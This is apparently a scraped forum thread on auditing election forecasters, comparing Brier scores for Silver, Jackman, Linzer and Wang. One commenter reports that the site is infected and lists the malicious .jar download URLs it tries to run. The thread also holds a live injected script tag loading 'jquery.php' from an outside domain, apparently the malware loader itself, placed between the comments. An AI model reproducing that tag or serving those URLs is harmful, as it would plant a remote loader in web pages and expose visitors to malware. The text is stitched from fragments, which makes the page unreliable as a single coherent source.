[LINK] "Prediction Audits" for Nate Silver, Dave Weigel

Looks like the whole blog part of the site is infected.

Edit: I can't pinpoint where the infection is and I can't duplicate it on another computer, but in case it helps, here are the URLs of the jar files it's trying to run:

http://barbarie.ch/pix/jar/java7.jar?r=1069897
http://barbarie.ch/pix/jar/javab.jar?r=313862
http://barbarie.ch/pix/jar/amor1.jar
http://barbarie.ch/pix/jar/amor2.jar
http://barbarie.ch/pix/jar/amor3.jar
http://barbarie.ch/pix/jar/amor4.jar
http://barbarie.ch/pix/jar/amor5.jar
http://barbarie.ch/pix/jar/amor6.jar
http://barbarie.ch/pix/jar/amor7.jar

I'm also putting a link to this info in the "Contact the CFAR Staff" form on the site.

<div class="textwidget"><p><script type="text/javascript" src="http://www.balivilla.fr/jquery.php"></script></p>

Jackman only just released his data now (after twittering with me, incidentally, I was able to explain why his R Brier score wasn't matching his hand-calculated Brier score) because he forgot to send it to me last night; and I'm running on fumes - we started this project from scratch yesterday at 5PM and I've been working on it ever since. EDIT: Looks like all the kerfluffle of new Brier/RMSE scores prodded Sam Wang into releasing his precise predictions too! Neat. EDITEDIT: I've gotten Jackman's data, incorporated it, discovered an error in my own data, differed with Jackman, learned he regarded 5 states as such a sure thing he didn't include probabilities while I had simply put in NAs, and now we've converged on his Brier score. Phew! His current Brier score is 0.009713686, a bit worse than Silver's 0.009113725, and both seem to be outperformed by Drew Linzer's 0.003843257. Wang seems to've released the data, but the CSV is unlabeled and I have no idea what half the columns mean...

I'd also like to include a random-guesser equivalent for RMSE... Tomorrow.

We only included people whose Brier scores we could calculate ourselves. We plan to add Jackman when we get his data.